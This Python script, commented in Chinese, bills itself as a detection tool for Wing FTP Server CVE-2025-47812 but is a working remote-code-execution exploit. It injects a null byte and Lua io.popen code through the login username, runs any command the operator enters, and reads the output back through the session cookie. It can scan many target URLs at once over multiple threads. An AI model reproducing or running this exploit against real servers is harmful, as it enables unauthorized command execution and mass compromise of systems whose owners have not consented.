import requests
import re
import argparse
import sys
import threading
import queue
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
CYAN = "\033[96m"
RESET = "\033[0m"

def print_color(color, text):
    print(f"{color}{text}{RESET}")

def print_green(text):
    print_color(GREEN, text)

def print_red(text):
    print_color(RED, text)

def print_yellow(text):
    print_color(YELLOW, text)

def print_cyan(text):
    print_color(CYAN, text)

def run_exploit(target_url, command, username="anonymous", password=""):
    """执行漏洞检测并返回输出结果"""
    login_url = f"{target_url}/loginok.html"
    dir_url = f"{target_url}/dir.html"
    
    try:
        host = target_url.split('//')[1].split('/')[0]
    except:
        print_red(f"[-] 无效的URL格式: {target_url}")
        return False, ""
    
    headers = {
        "Host": host,
        "User-Agent": "Mozilla/5.0",
        "Accept": "*/*",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Content-Type": "application/x-www-form-urlencoded",
        "Origin": target_url,
        "Connection": "keep-alive",
        "Referer": f"{target_url}/login.html",
        "Cookie": "client_lang=english"
    }


    payload = (
        f"username={username}%00]]%0dlocal+h+%3d+io.popen(\"{command}\")%0d"
        f"local+r+%3d+h%3aread(\"*a\")%0dh%3aclose()%0dprint(r)%0d--&password={password}"
    )

    try:
        login_response = requests.post(
            login_url, 
            headers=headers, 
            data=payload, 
            timeout=10,
            verify=False
        )
        login_response.raise_for_status()
    except requests.exceptions.RequestException as e:
        print_red(f"[-] {target_url} 请求失败: {e}")
        return False, ""

    set_cookie = login_response.headers.get("Set-Cookie", "")
    match = re.search(r'UID=([^;]+)', set_cookie)

    if not match:
        print_red(f"[-] {target_url} 未找到UID")
        return False, ""

    uid = match.group(1)

    dir_headers = headers.copy()
    dir_headers["Cookie"] = f"UID={uid}"

    try:
        dir_response = requests.get(
            dir_url, 
            headers=dir_headers, 
            timeout=10,
            verify=False
        )
        dir_response.raise_for_status()
    except requests.exceptions.RequestException as e:
        print_red(f"[-] {target_url} 访问失败: {e}")
        return False, ""


    body = dir_response.text
    clean_output = re.split(r'<\?xml', body)[0].strip()
    
    return bool(clean_output), clean_output

def worker(target_queue, results_queue, username, password, command):
    """工作线程函数"""
    while not target_queue.empty():
        try:
            target = target_queue.get_nowait()
        except queue.Empty:
            break
            
        print_yellow(f"[*] 正在检测: {target}")
        is_vulnerable, output = run_exploit(target, command, username, password)
        
        if is_vulnerable:
            results_queue.put((target, output))
            print_green(f"[+] {target} 存在漏洞!")
            if output:
                print_green("\n[+] 命令执行成功!")
                print_green("---------------- 输出 -----------------")
                print(output)
                print_green("--------------------------------------")
        else:
            print_red(f"[-] {target} 未检测到漏洞")
            
        target_queue.task_done()

def main():
    print_cyan("\nWing FTP Server CVE-2025-47812 漏洞检测工具")
    print_cyan("===========================================")
    
    parser = argparse.ArgumentParser(description="检测Wing FTP Server CVE-2025-47812漏洞")
    parser.add_argument("-u", "--url", type=str, help="单个目标URL (例如: http://192.168.1.100:5466)")
    parser.add_argument("-t", "--targets", type=str, help="包含多个目标URL的文件路径 (每行一个URL)")
    
    args = parser.parse_args()

    if not args.url and not args.targets:
        parser.print_help()
        sys.exit(1)
    

    username = input("输入用户名 (默认为anonymous): ") or "anonymous"
    

    password = ""
    if username != "anonymous":
        password = input("输入密码: ")
    

    command = input("输入要执行的命令 (默认为'echo CVE-2025-47812'): ") or "echo CVE-2025-47812"
    

    targets = []
    if args.targets:
        try:
            with open(args.targets, 'r') as f:
                targets = [line.strip() for line in f if line.strip() and line.startswith(('http://', 'https://'))]
            if not targets:
                print_red("[-] 文件为空或没有有效的URL")
                return
        except Exception as e:
            print_red(f"[-] 无法读取文件: {e}")
            return
    else:
        targets = [args.url]
    

    target_queue = queue.Queue()
    results_queue = queue.Queue()
    

    for target in targets:
        target_queue.put(target)
    

    threads = []
    max_threads = min(10, len(targets))
    
    print_cyan(f"\n[*] 开始批量检测，目标数: {len(targets)}，线程数: {max_threads}")
    
    for _ in range(max_threads):
        t = threading.Thread(
            target=worker, 
            args=(target_queue, results_queue, username, password, command)
        )
        t.daemon = True
        t.start()
        threads.append(t)
    
 
    target_queue.join()
    

    vulnerable_targets = []
    while not results_queue.empty():
        target, output = results_queue.get()
        vulnerable_targets.append(target)

    if vulnerable_targets:
        print_cyan("\n[+] 存在漏洞的目标:")
        for target in vulnerable_targets:
            print_green(f"  - {target}")
    else:
        print_red("\n[-] 未发现存在漏洞的目标")
    print_cyan("\n检测总结:")
    print_cyan("=========")
    print(f"检测目标数: {len(targets)}")
    print_green(f"存在漏洞: {len(vulnerable_targets)}")
    print_red(f"不存在漏洞: {len(targets) - len(vulnerable_targets)}")

if __name__ == "__main__":
    main()